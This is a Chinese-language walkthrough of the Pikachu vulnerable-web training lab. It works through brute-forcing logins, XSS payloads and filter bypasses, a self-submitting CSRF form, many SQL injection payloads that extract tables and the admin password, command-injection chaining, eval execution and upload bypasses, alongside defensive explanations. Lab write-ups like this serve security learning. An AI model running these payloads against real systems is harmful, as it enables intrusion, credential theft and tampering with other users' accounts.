Pikachu漏洞練習平台


暴力破解

概述

Burte Force(暴力破解)概述

“暴力破解”是一攻擊具手段,在web攻擊中,一般會使用這種手段對應用系統的認證信息進行獲取。 其過程就是使用大量的認證信息在認證接口進行嘗試登錄,直到得到正確的結果。 為了提高效率,暴力破解一般會使用帶有字典的工具來進行自動化操作。

理論上來說,大多數系統都是可以被暴力破解的,只要攻擊者有足夠強大的計算能力和時間,所以斷定一個系統是否存在暴力破解漏洞,其條件也不是絕對的。 我們說一個web應用系統存在暴力破解漏洞,一般是指該web應用系統沒有采用或者采用了比較弱的認證安全策略,導致其被暴力破解的“可能性”變的比較高。 這里的認證安全策略, 包括:

1.是否要求用戶設置復雜的密碼;

2.是否每次認證都使用安全的驗證碼(想想你買火車票時輸的驗證碼~)或者手機otp;

3.是否對嘗試登錄的行為進行判斷和限制(如:連續5次錯誤登錄,進行賬號鎖定或IP地址鎖定等);

4.是否采用了雙因素認證;

...等等。

基於表單的暴力破解 

使用 BURPSUITE 進行暴力破解

爆破時,選擇 Cluster bumb 模式對 Username 與 Password 進行爆破

 Cluster bumb 模式將對爆破目標做笛卡爾積

此處有三個用戶,分別為:

admin/123456

pikachu/000000

test/abc123

驗證碼繞過(on server 與 on client)

on server

驗證碼在后台不會過期,每一次爆破皆可使用

爆破時在抓取的數據包中填入正確的驗證碼即可在每一次爆破中使用驗證碼

on client

驗證碼在前端生成並檢查,可被繞過

token防爆破

1、Token的引入:Token是在客戶端頻繁向服務端請求數據,服務端頻繁的去數據庫查詢用戶名和密碼並進行對比,判斷用戶名和密碼正確與否,並作出相應提示,在這樣的背景下,Token便應運而生。

2、Token的定義:Token是服務端生成的一串字符串,以作客戶端進行請求的一個令牌,當第一次登錄后,服務器生成一個Token便將此Token返回給客戶端,以后客戶端只需帶上這個Token前來請求數據即可,無需再次帶上用戶名和密碼。

3、使用Token的目的:Token的目的是為了減輕服務器的壓力,減少頻繁的查詢數據庫,使服務器更加健壯。

后端會生成一個token值返回給客戶端,當客戶端進行請求時,同時攜帶該token

與服務端token比對,相同則接受

本題使用pitchfork進行爆破,不足是爆破點只能選擇密碼與token值

在第二個爆破點,即token值進行如下設置

然后在options中

選擇原token值

開始爆破前,需將線程數設置為1

由於第二個爆破選取遞歸爆破的方式,故線程數只能為1

爆破后得admin賬戶密碼為123456

該方式一極大弊端為不能連用戶名一起進行爆破

而若連用戶名一起進行爆破選擇笛卡爾積模式的話

筆者還沒能處理好token值與用戶名及密碼的關系

模塊詳解:Intruder模塊模塊詳解

四種爆破模式:爆破模式

token:什么是token

四種爆破模式大致如下:

1.sniper 對單點進行爆破,若設置多個爆破點,則使用同一字典對其分別爆破

2.battering ram 對多個點使用同一字典進行同時爆破

3.pitch-fork 對不同點使用不同字典分別爆破

4.cluster bomb 對不同點使用不同字典進行笛卡爾積爆破

Cross-Site Scripting

XSS(跨站腳本)概述

Cross-Site Scripting 簡稱為“CSS”,為避免與前端疊成樣式表的縮寫"CSS"沖突,故又稱XSS。一般XSS可以分為如下幾種常見類型:

1.反射性XSS;
2.存儲型XSS;
3.DOM型XSS;

XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬於前三的江湖地位。

XSS是一種發生在前端瀏覽器端的漏洞,所以其危害的對象也是前端用戶。

形成XSS漏洞的主要原因是程序對輸入和輸出沒有做合適的處理,導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。

因此在XSS漏洞的防范上,一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾:對輸入進行過濾,不允許可能導致XSS攻擊的字符輸入;
輸出轉義:根據輸出點的位置對輸出到前端的內容進行適當轉義;

反射型xss(get)

寫入 '"<>bea123 測試寫入的特殊字符會不會被過濾

發現沒有過濾字符

寫入xss代碼

 <script>alert("BEACON")</script> 

代碼長度受限,通過代碼審計修改長度即可

反射型xss(post)

登錄后執行相同操作

存儲型XSS

漏洞描述:xss代碼被注入到后台並存儲起來,構成持久性危害

同樣判斷有無過濾字符

執行同樣操作

DOM型XSS

漏洞描述:前端數據被DOM獲取,並通過DOM又輸出到前端(危害低,不會經過后端)

網頁源代碼

我們先通過 "> 閉合了herf標簽,然后再插入相應的payload

根據提示構造payload '><img src="#" onmouseover="alert('xss')"> 

DOM型XSS-X

網頁源代碼

與前面不同的是,前面通過 getElementById 獲取到了標簽 Id 為 text的內容賦值給str

然后又把 str 的內容通過字符串拼接的方式寫到了 a 標簽的 href 屬性中,a標簽會寫到 Id 為 dom的 div 標簽中

這里則是定義了一個domxss函數

利用 window.location.search 獲取瀏覽器中URL的內容,然后賦值給 str

然后經過URL解碼和字符串分隔,取出URL中的參數內容

再把 “+” 替換為 “ ”(空格),賦值給 xss

最后把 xss 拼接到 a 標簽中,然后寫到 Id 為 dom 的 div 標簽中

跟前面的DOM不同的是,它的輸入是從瀏覽器的URL中獲取的

XSS之盲打

所謂盲打即所插入的內容不會在前端顯示,故不能在前端得到相應的反饋

插入的內容在后端,若插入的xss沒有被過濾,則可在后台執行

xss之過濾

對於xss的過濾,主要運用兩種思路進行繞過

首先是轉換,將xss命令轉換為其他形式,其次則是使用編碼的手段

轉換

1.抓包重新插入,或修改前端HTML代碼

2.修改大小寫,若正則匹配只匹配小寫,則可繞過

3.雙寫(拼湊),例如<scri<script>pt>alert(111)</scri</script>pt>,后台即使過濾script,也有只過濾一次的可能

4.注釋干擾,例如<scri<!--test-->pt>alert(111)</sc<!--test-->ript>,加上注釋后,有繞過后台過濾機制的可能

編碼

核心思路:

后台過濾了特殊字符,比如<script>標簽,但該標簽可以被各種編碼,后台不一定過濾

當瀏覽器對該編碼進行識別時,會翻譯成正常的標簽,從而執行

xss之htmlspecialchars

 測試輸入 "'<>?#'666 

得到反饋

發現該函數在我這里好像沒有任何反應

而其他環境下反應應是如下

需要在payload前后加上單引號'用於閉合herf中的單引號

構造如下

 ' onclick=alert(11111) ' 

而其中只能輸入數字

兩個單引號與正文需有一個空格相隔

后端單引號可去掉,但空格仍需要存在

xss之href輸出

此處需了解到javascript偽協議文章地址

偽協議不同於因特網上所真實存在的協議,如http://,https://,ftp://,

而是為關聯應用程序而使用的.如:tencent://(關聯QQ),data:(用base64編碼來在瀏覽器端輸出二進制文件),還有就是javascript:

我們可以在瀏覽地址欄里輸入"javascript:alert('JS!');",點轉到后會發現,實際上是把javascript:后面的代碼當JavaScript來執行,並將結果值返回給當前頁面。

將javascript代碼添加到客戶端的方法是把它放置在偽協議說明符javascript:后的URL中。這個特殊的協議類型聲明了URL的主體是任意的javascript代碼,它由javascript的解釋器運行。如果javascript:URL中的javascript代碼含有多個語句,必須使用分號將這些語句分隔開。這樣的URL如下所示:

javascript:var now = new Date(); "<h1>The time is:</h1>" + now;

當瀏覽器裝載了這樣的URL時,它將執行這個URL中包含的javascript代碼,並把最后一條javascript語句的字符串值作為新文檔的內容顯示出來。這個字符串值可以含有HTML標記,並被格式化,其顯示與其他裝載進瀏覽器的文檔完全相同。

在瀏覽器打開javascript:URL的時候,它會先運行URL中的代碼,當返回值不為undefined的時候,前頁鏈接會替換為這段代碼的返回值。

javascript URL還可以含有只執行動作,但不返回值的javascript語句。例如:

javascript:alert("hello world!")

裝載了這種URL時,瀏覽器僅執行其中的javascript代碼,但由於沒有作為新文檔來顯示的值,因此它並不改變當前顯示的文檔。

通常我們想用javascript:URL執行某些不改變當前顯示的文檔的javascript代碼。要做到這一點,必須確保URL中的最后一條語句沒有返回值。一種方法是用void運算符顯式地把返回值指定為underfined,只需要在javascript:URL的結尾使用語句void 0;即可。例如:下面的URL將打開一個新的空瀏覽器窗口,而不改變當前窗口的內容:

javascript:window.open("about:blank"); void 0;

如果這個URL沒有void運算符,window.open()方法的返回值將被轉換成字符串並被顯示出來,當前窗口將被如下所示的文檔覆蓋。

xss之js輸出

網頁源代碼如下

則可通過閉合前面<script>來執行我們想要的操作

即構造payload

'</script><script>alert('xss')</script>

xss:xss漏洞測試

xss之htmlspecialchars:PHP htmlspecialchars() 函數

javascript偽協議:javascript偽協議

XSS攻擊流程

假設存在漏洞的是一個論壇,攻擊者將惡意的JS代碼通過XSS漏洞插入到論文的某一頁面中

當用戶訪問這個頁面時,都會執行這個惡意的JS代碼,這個代碼就會在用戶的瀏覽器端執行

XSS攻擊類型

危害:存儲型 > 反射型 > DOM型

  • 反射型:交互的數據一般不會被存在數據庫里面,一次性,所見即所得,一般出現在查詢頁面等
  • 存儲型:交互的數據會被存在數據庫里面,永久性存儲,一般出現在留言板,注冊等頁面
  • DOM型:不與后台服務器產生數據交互,是一種通過DOM操作前端代碼輸出的時候產生的問題,一次性,也屬於反射型

XSS形成原因

形成XSS漏洞的主要原因是程序中輸入和輸出的控制不夠嚴格

導致“精心構造”的腳本輸入后,在輸出到前端時被瀏覽器當作有效代碼解析執行

XSS漏洞測試流程

    ① 在目標上找輸入點,比如查詢接口、留言板

    ② 輸入一組 “特殊字符(>,',"等)+唯一識別字符” ,點擊提交后,查看返回源碼,看后端返回的數據是否有處理

    ③ 通過搜索定位到唯一字符,結合唯一字符前后語法確定是否可以構造執行js的條件(構造閉合)

    ④ 提交構造的腳本代碼(以及各種繞過姿勢),看是否可以成功執行,如果成功執行則說明存在XSS漏洞

CSRF

CSRF(跨站請求偽造)概述

Cross-site request forgery 簡稱為“CSRF”,在CSRF的攻擊場景中攻擊者會偽造一個請求(這個請求一般是一個鏈接),然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,整個攻擊就完成了。所以CSRF攻擊也成為"one click"攻擊。 很多人搞不清楚CSRF的概念,甚至有時候會將其和XSS混淆,更有甚者會將其和越權問題混為一談,這都是對原理沒搞清楚導致的。

列舉場景

這里列舉一個場景解釋一下,希望能夠幫助你理解。

場景需求:

小黑想要修改大白在購物網站tianxiewww.xx.com上填寫的會員地址。

先看下大白是如何修改自己的密碼的:

登錄---修改會員信息,提交請求---修改成功。
所以小黑想要修改大白的信息,他需要擁有:

1,登錄權限 2,修改個人信息的請求。
但是大白又不會把自己xxx網站的賬號密碼告訴小黑,那小黑怎么辦?
於是他自己跑到www.xx.com上注冊了一個自己的賬號,然后修改了一下自己的個人信息(比如:E-mail地址),他發現修改的請求是:
【http://www.xxx.com/edit.php?email=xiaohei@88.com&Change=Change】
於是,他實施了這樣一個操作:把這個鏈接偽裝一下,在小白登錄xxx網站后,欺騙他進行點擊,小白點擊這個鏈接后,個人信息就被修改了,小黑就完成了攻擊目的。
為啥小黑的操作能夠實現呢。有如下幾個關鍵點:

1.www.xxx.com這個網站在用戶修改個人的信息時沒有過多的校驗,導致這個請求容易被偽造;
---因此,我們判斷一個網站是否存在CSRF漏洞,其實就是判斷其對關鍵信息(比如密碼等敏感信息)的操作(增刪改)是否容易被偽造。
2.小白點擊了小黑發給的鏈接,並且這個時候小白剛好登錄在購物網上;
---如果小白安全意識高,不點擊不明鏈接,則攻擊不會成功,又或者即使小白點擊了鏈接,但小白此時並沒有登錄購物網站,也不會成功。
---因此,要成功實施一次CSRF攻擊,需要“天時,地利,人和”的條件。
當然,如果小黑事先在xxx網的首頁如果發現了一個XSS漏洞,則小黑可能會這樣做: 欺騙小白訪問埋伏了XSS腳本(盜取cookie的腳本)的頁面,小白中招,小黑拿到小白的cookie,然后小黑順利登錄到小白的后台,小黑自己修改小白的相關信息。
---所以跟上面比一下,就可以看出CSRF與XSS的區別:CSRF是借用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限,而XSS是直接盜取到了用戶的權限,然后實施破壞。因此,網站如果要防止CSRF攻擊,則需要對敏感信息的操作實施對應的安全措施,防止這些操作出現被偽造的情況,從而導致CSRF。比如:
--對敏感信息的操作增加安全的token;
--對敏感信息的操作增加安全的驗證碼;
--對敏感信息的操作實施安全的邏輯流程,比如修改密碼時,需要先校驗舊密碼等。

CSRF(get)

在嘗試修改個人信息界面進行如下填寫並抓包

直接修改鏈接內容讓受害者點擊即可

構造如下

/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php?sex=1&phonenum=2&add=3&email=4&submit=submit

如若受害者在登錄狀態點擊該鏈接,即可達到攻擊的目的

get請求修改個人信息,所以內容均在url中體現,即可構造攻擊連接

CSRF(post)

post與get不同,不可通過構造攻擊連接進行攻擊

攻擊者可以搭建一個站點,在站點上做一個表單,誘導受害者點擊這個鏈接

受害者點擊時,就會自動向存在CSRF的服務器提交POST請求修改個人信息

編寫一個post.html

代碼如下:

 1 <html>
 2 <head>
 3 <script>
 4 window.onload = function() {
 5   document.getElementById("postsubmit").click();
 6 }
 7 </script>
 8 </head>
 9 <body>
10 <form method="post" action="http://localhost//pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php">
11     <input id="sex" type="text" name="sex" value="girl" />
12     <input id="phonenum" type="text" name="phonenum" value="0220" />
13     <input id="add" type="text" name="add" value="china" />
14     <input id="email" type="text" name="email" value="0220@pikachu.com" />
15     <input id="postsubmit" type="submit" name="submit" value="submit" />
16 </form>
17 </body>
18 </html>

筆者存放位置為 http://localhost//jennie/post.html 

即受害者點擊筆者存該改頁面鏈接時收到攻擊

CSRF(token)

CSRF的主要問題是敏感操作容易被偽造

加入一個隨機的token使之不易被偽造

每次請求多了一個隨機的token值,這是一個相對安全的

CSRF:CSRF

概述

CSRF 是 Cross Site Request Forgery 的 簡稱,中文名為跨域請求偽造

在CSRF的攻擊場景中,攻擊者會偽造一個請求(一般是一個鏈接)

然后欺騙目標用戶進行點擊,用戶一旦點擊了這個請求,這個攻擊也就完成了

所以CSRF攻擊也被稱為“one click”攻擊

CSRF攻擊需要條件

    ① 目標網站沒有對修改個人信息修改的請求進行防CSRF處理,導致該請求容易被偽造

因此,判斷一個網站有沒有CSRF漏洞,其實就是判斷對關鍵信息(密碼等)的操作(增刪改)是否容易被偽造

    ② lucy點擊偽造的請求鏈接時有登錄狀態(已經登陸了目標網站),如果lucy沒有登錄,那么即便lucy點擊了鏈接也沒有作用

從CSRF的利用條件來看,CSRF的利用難度會大一些,所以CSRF對應的安全級別低一些

CSRF和XSS的區別

我們利用XSS可以達到盜取用戶Cookie的目的,那么CSRF的區別在哪?

  • CSRF是借助用戶的權限完成攻擊,攻擊者並沒有拿到用戶的權限。目標構造修改個人信息的鏈接,利用lucy在登錄狀態下點擊此鏈接達到修改信息的目的。
  • XSS直接盜取了用戶的權限,然后實施破壞。攻擊者利用XSS盜取了目標的Cookie,登錄lucy的后台,再修改相關信息。

如何確認一個目標站點是否有CSRF漏洞

 對目標站點增刪改查的地方進行標記,並觀察邏輯,判斷請求是否可以偽造。

  • 比如修改管理員賬號時,不需要驗證舊密碼
  • 比如修改敏感信息不需要token驗證

  確認憑證的有效期

雖然退出或關閉了覽器,但Cookie仍然有效,或者Session沒有及時過期,導致CSRF攻擊變得簡單

防護

  • 增加Token驗證(常用做法)
    • 對關鍵操作增加Token參數,token必須隨機,每次都不一樣
  • 關於安全的會話管理(避免會話被利用)
    • 不要在客戶端保存敏感信息(比如身份驗證信息)
    • 退出、關閉瀏覽器時的會話過期機制
    • 設置會話過機制,比如15分鍾無操作,則自動登錄超時
  • 訪問控制安全管理
    • 敏感信息的修改時需要身份進行二次認證,比如修改賬號密碼,需要判斷舊密碼
    • 敏感信息的修改使用POST,而不是GET
    • 通過HTTP頭部中的REFERER來限制原頁面
  • 增加驗證碼
    • 一般在登錄(防暴力破解),也可以用在其他重要信息操作的表單中(需要考慮可用性)

SQL-inject

SQL注入概述

SQL注入漏洞主要形成的原因是在數據交互中,前端的數據傳入到后台處理時,沒有做嚴格的判斷,導致其傳入的“數據”拼接到SQL語句中后,被當作SQL語句的一部分執行。 從而導致數據庫受損(被脫褲、被刪除、甚至整個服務器權限淪陷)。
在構建代碼時,一般會從如下幾個方面的策略來防止SQL注入漏洞:
1.對傳進SQL語句里面的變量進行過濾,不允許危險字符傳入;
2.使用參數化(Parameterized Query 或 Parameterized Statement);
3.還有就是,目前有很多ORM框架會自動使用參數化解決注入問題,但其也提供了"拼接"的方式,所以使用時需要慎重!

數字型注入(post)

抓包后,取id=2與id=3-1得到相同回顯

即存在數字型注入

按部就班以從《從0到1》上學到的關於數字型注入的方法

事先已經先通過id=2與id=3-1得到相同回顯判斷這里存在數字型注入

且MySQL5.0版本后默認自帶數據庫information_schema,所有數據庫名、表名、字段名都可從中查詢

利用這一點,構造

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

得到回顯

對查詢到的表進行二次查詢,構造

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='member'

即為查詢member中內容

我就只查詢member中內容便發現我們想要的id與email

構造查詢

id=-1 union select id,email from member

得到回顯

或輸入id=1 or 1=1亦可展示所有信息

字符型注入(get)

字符型需閉合前面的單引號,再注釋查詢內容后面的語句

構造時符號使用的為URL編碼

在查詢后面加入相應符號URL編碼

查詢執行成功

在兩符號中間插入上文所提到的查詢語句即可

構造

kobe%27union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23

得到回顯

最后得到所有信息如下

同樣的查詢語句輸入

or 1=1

亦可

搜索型注入

題目提示輸入用戶名的一部分進行查找

構造閉合%‘

即構造

%'查詢#

xx型注入

依舊是按要求構造閉合

kobe') 查詢#

“insert/update”注入

在insert/update/delete注入這幾種情況中

不能使用 union 進行聯合查詢

因為這不是查詢,而是操作

insert 設置用戶名

這里一般通過or進行閉合

選擇注冊

在用戶名欄中構造

BEACON' or updatexml(1, concat(0x7e,database()), 0) or '

利用報錯進行我們的操作

update 修改密碼

一樣的構造,亦可

“delete”注入

在進行刪除時,抓包修改id值為我們構造的代碼即可

1 or updatexml(1, concat(0x7e,database()), 0) 

“http header”注入

admin' or updatexml(1, concat(0x7e, database()), 0)#

盲注(base on boolian)

基於真假的盲注主要特征

  • 沒有報錯信息
  • 不管是正確的輸入,還是錯誤的輸入,都只有兩種情況(可以看做 0 or 1)
  • 在正確的輸入下,后面跟 and 1=1 / and 1=2 進行判斷

測試語句

kobe' and 1=1#
kobe' and 1=2#

前者可行,后者提示用戶名不存在

此處輸出僅有用戶名存在與不存在兩種形式,故不能使用之前基於報錯注入的形式

我們只能通過 真 或者 假 來獲取數據,所以手工盲注是很麻煩的

我們可以先用 length(database()) 判斷 數據庫名稱的長度

kobe' and length(database())>5#
……
kobe' and length(database())=7#

再用 substr() 和 ascii() 判斷數據庫由哪些字母組成(可以用二分法)

kobe' and ascii(substr(database(), 1, 1)) > 113#
kobe' and ascii(substr(database(), 1, 1)) > 105#
……
kobe' and ascii(substr(database(), 1, 1)) = 112#

不斷重復,然后取得數據庫名。再和 information_schema 和 length 猜測 表名 的長度,我們可以用下面的 SQL 語句替代上面的 database()

(select table_name from information_schema.tables where table_schema=database() limit 0,1)

先判斷表名長度

kobe' and  length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,100)) = 8#

然后猜解表名

kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) > 113#
……
kobe' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1)) =104#

同樣的方法去猜解列名、數據,就是麻煩,用工具會方便些

盲注(base on time)

基於真假的盲注可以看到回顯的信息,正確 or 錯誤

基於時間的注入就什么都看不到了,我們通過特定的輸入,判斷后台執行的時間,從而確定注入點,比如用 sleep() 函數

在皮卡丘平台一,無論輸入什么,前端都是顯示 “I don't care who you are!”

我們按 F12 打開控制台,選到網絡

然后我們輸入下面的 payload 進行測試

kobe' and sleep(5)#

如果存在注入點,后端就會 sleep 5秒才會返回執行結果

看到上面的結果說明我們注入成功了,構造下面的 payload,用 database() 取得數據庫的名稱,再用 substr 取字符判斷數據庫名稱的組成,如果猜解成功就會 sleep 5秒,否則沒有任何動作

kobe' and  if((substr(database(), 1, 1))='p', sleep(5), null)#

后面也跟真假注入是一樣的了,替換 database() 就可,如

kobe' and  if((substr((select table_name from information_schema.tables where table_schema=database() limit 0,1), 1, 1))='h', sleep(5), null)#

寬字節注入

SQL注入:SQL注入

發生原因

SQL注入漏洞,主要是開發人員在構建代碼時,沒有對輸入邊界進行安全考慮,導致攻擊者可以通過合法的輸入點提交一些精心構造的語句,從而欺騙后台數據庫對其進行執行,導致數據庫信息泄漏的一種漏洞。

SQL注入攻擊流程

第一步:注入點探測

  • 自動方式:使用web漏洞掃描工具,自動進行注入點發現
  • 手動方式:手工構造SQL注入測試語句進行注入點發現

第二步:信息獲取

  通過注入點取得期望得到的數據

  • 1.環境信息:數據庫類型,數據庫版本,操作系統版本,用戶信息等
  • 2.數據庫信息:數據庫蜜罐,數據庫表,表字段,字段內容等(加密內容破解)

第三步:獲取權限

  獲取操作系統權限:通過數據庫執行shell,上傳木馬

注入點類型

按SQL語句拼接類型區分

  • 數字型:user_id=$id
  • 字符型:user_id='$id'
  • 搜索型:text LIKE '%{$_GET['search']}%'"

SQL中三種注釋

① #

② -- (最后面有個空格)

③ /**/,內聯注釋,這個可以在SQL語句中間使用。select * from /*sqli*/ users;

基於函數報錯注入(updatexml)

技巧思路:

  • 在 MySQL 中使用一些指定的函數來制造報錯,從報錯信息中獲取設定的信息
  • select / insert /update / delete 都可以使用報錯來獲取信息

背景條件:

  • 后台沒有屏蔽數據庫報錯信息,在語法發生錯誤時會輸出在前端

三個常用函數

  • updatexml(): MySQL 對 XML 文檔數據進行查詢和修改的 XPATH 函數
  • extractvalue():MySQL 對 XML 文檔數據進行查詢的 XPATH 函數
  • floor():MySQL中用來取整的函數

updatexml()

具體

  updatexml()函數作用:改變(查找並替換)XML 文檔中符合條件的節點的值

  語法:UPDATEXML (XML_document, XPath_string, new_value)

  • 第一個參數:XML_document是String格式,為XML文檔對象的名稱,文中為Doc

  • 第二個參數:XPath_string (Xpath格式的字符串) ,如果不了解Xpath語法,可以在網上查找教程。不過這里用不到。

  • 第三個參數:new_value,String格式,替換查找到的符合條件的數據

  • Xpath語法: https://www.cnblogs.com/Loofah/archive/2012/05/10/2494036.html

XPath 定位必須是有效的,否則會發生錯誤

在字符型注入中測試

' and updatexml(1, version(), 0)#

報錯

繼續構造

' and updatexml(1, concat(0x7e, version()), 0)#

修改 version() 為 database() 即可得數據庫名稱

查詢表名

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu')), 0)#

報錯

在 payload 后面用 limit 關鍵字,限制取回的結果即可

' and updatexml(1, concat(0x7e, (select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)), 0)#

上面返回了查詢結果中的第一個表名,如果要查詢第二個表名,我們可以把 limit 語句換成 limit 1,1

limit 后的第一個數據是起始位置,第二個數字是取出的數據條數

獲取字段

' and updatexml(1, concat(0x7e, (select column_name from information_schema.columns where table_name='users' limit 0,1)), 0)#

 獲取數據

' and updatexml(1, concat(0x7e, (select username from users limit 0,1)), 0)#

獲取密碼

' and updatexml(1, concat(0x7e, (select password from users where username = 'admin' limit 0,1)), 0)#

 extractvalue()

 extractvalue()函數作用:從目標 XML 中返回包含所查詢值的字符串

 語法:ExtractValue(xml_document, XPathstring)

  • 第一個參數:xml_document 是 string 格式,為 XML 文檔對象的名稱
  • 第二個參數: XPathstring,XPath 格式的字符串

構造

' and extractvalue(1, concat(0x7e,database())) #

floor()

向下取整。如果要用 floor() 構成報錯,必須滿足下面的條件

  • 運算中有 count
  • 運算中有 group by
  • 運算中有 rand

構造

' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

上面表達式執行的結果會以 “a” 作為別名,然后在 字符型注入 中提交,會得到下面的報錯

我們可以把 version() 的表達式替換成別的表達式

' and (select 2 from (select count(*), concat((select password from users where username='admin' limit 0,1), floor(rand(0) * 2))x from information_schema.tables group by x)a)#

RCE

RCE(remote command/code execute)概述

RCE漏洞,可以讓攻擊者直接向后台服務器遠程注入操作系統命令或者代碼,從而控制后台系統。遠程系統命令執行
一般出現這種漏洞,是因為應用系統從設計上需要給用戶提供指定的遠程命令操作的接口
比如我們常見的路由器、防火牆、入侵檢測等設備的web管理界面上
一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交后,后台會對該IP地址進行一次ping測試,並返回測試結果。 而,如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該接口提交“意想不到”的命令,從而讓后台進行執行,從而控制整個后台服務器

現在很多的甲方企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平台"進行操作。 在這種平台上往往會出現遠程系統命令執行的漏洞,不信的話現在就可以找你們運維部的系統測試一下,會有意想不到的"收獲"-_-
遠程代碼執行
同樣的道理,因為需求設計,后台有時候也會把用戶的輸入作為代碼的一部分進行執行,也就造成了遠程代碼執行漏洞。 不管是使用了代碼執行的函數,還是使用了不安全的反序列化等等。因此,如果需要給前端用戶提供操作類的API接口,一定需要對接口輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法。

exec "ping"

ping

127.0.0.1

出現如下結果

出現亂碼

解決方法:

我自己嘗試了一下,沒有解決

再到網上搜其他方法,也沒有解決

或許可以通過在源代碼上增加轉為UTF-8的幾行代碼

這一個沒有去嘗試

在命令執行漏洞中,可通過&、&&、|、||、; 等符號拼接執行命令

如:

127.0.0.1 & ipconfig

不僅執行ping命令,ipconfig也執行

exec "evel"

 

可直接執行PHP代碼

phpinfo();

File Inclusion

File Inclusion(文件包含漏洞)概述

文件包含,是一個功能。在各種開發語言中都提供了內置的文件包含函數,其可以使開發人員在一個代碼文件中直接包含(引入)另外一個代碼文件。 比如 在PHP中,提供了:
include(),include_once()
require(),require_once()
這些文件包含函數,這些函數在代碼設計中被經常使用到。

大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。 但是,有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。 攻擊着會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。 根據不同的配置環境,文件包含漏洞分為如下兩種情況:

1.本地文件包含漏洞:僅能夠對服務器本地的文件進行包含,由於服務器上的文件並不是攻擊者所能夠控制的,因此該情況下,攻擊着更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力。
2.遠程文件包含漏洞:能夠通過url地址對遠程的文件進行包含,這意味着攻擊者可以傳入任意的代碼,這種情況沒啥好說的,准備掛彩。因此,在web應用系統的功能設計上盡量不要讓前端用戶直接傳變量給包含函數,如果非要這么做,也一定要做嚴格的白名單策略進行過濾。

文件包含:介紹

unsafe filedownload 

不安全的文件下載概述

文件下載功能在很多web系統上都會出現,一般我們當點擊下載鏈接,便會向后台發送一個下載請求,一般這個請求會包含一個需要下載的文件名稱,后台在收到請求后 會開始執行下載代碼,將該文件名對應的文件response給瀏覽器,從而完成下載。 如果后台在收到請求的文件名后,將其直接拼進下載文件的路徑中而不對其進行安全判斷的話,則可能會引發不安全的文件下載漏洞。

此時如果 攻擊者提交的不是一個程序預期的的文件名,而是一個精心構造的路徑(比如../../../etc/passwd),則很有可能會直接將該指定的文件下載下來。 從而導致后台敏感信息(密碼文件、源代碼等)被下載。所以,在設計文件下載功能時,如果下載的目標文件是由前端傳進來的,則一定要對傳進來的文件進行安全考慮。 切記:所有與前端交互的數據都是不安全的,不能掉以輕心!

不安全文件下載:介紹

unsafe upfileupload

不安全的文件上傳漏洞概述

文件上傳功能在web應用系統很常見,比如很多網站注冊的時候需要上傳頭像、上傳附件等等。當用戶點擊上傳按鈕后,后台會對上傳的文件進行判斷 比如是否是指定的類型、后綴名、大小等等,然后將其按照設計的格式進行重命名后存儲在指定的目錄。 如果說后台對上傳的文件沒有進行任何的安全判斷或者判斷條件不夠嚴謹,則攻擊着可能會上傳一些惡意的文件,比如一句話木馬,從而導致后台服務器被webshell。所以,在設計文件上傳功能時,一定要對傳進來的文件進行嚴格的安全考慮。比如:

--驗證文件類型、后綴名、大小;
--驗證文件的上傳方式;
--對文件進行一定復雜的重命名;
--不要暴露文件上傳后的路徑;
--等等...

client check

刪掉前端限制代碼即可

MIME type

上傳時,通過BP修改文件后綴

getimagesize

不安全文件上傳:詳細

over permission

概述

如果使用A用戶的權限去操作B用戶的數據,A的權限小於B的權限,如果能夠成功操作,則稱之為越權操作。 越權漏洞形成的原因是后台使用了 不合理的權限校驗規則導致的。一般越權漏洞容易出現在權限頁面(需要登錄的頁面)增、刪、改、查的的地方,當用戶對權限頁面內的信息進行這些操作時,后台需要對 對當前用戶的權限進行校驗,看其是否具備操作的權限,從而給出響應,而如果校驗的規則過於簡單則容易出現越權漏洞。因此,在在權限管理中應該遵守:
1.使用最小權限原則對用戶進行賦權;
2.使用合理(嚴格)的權限校驗規則;
3.使用后台登錄態作為條件進行權限判斷,別動不動就瞎用前端傳進來的條件;

水平越權

查看lucy賬號信息

 

這里運用了GET 請求

將lucy改為lili

則可查看lili的信息

垂直越權


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM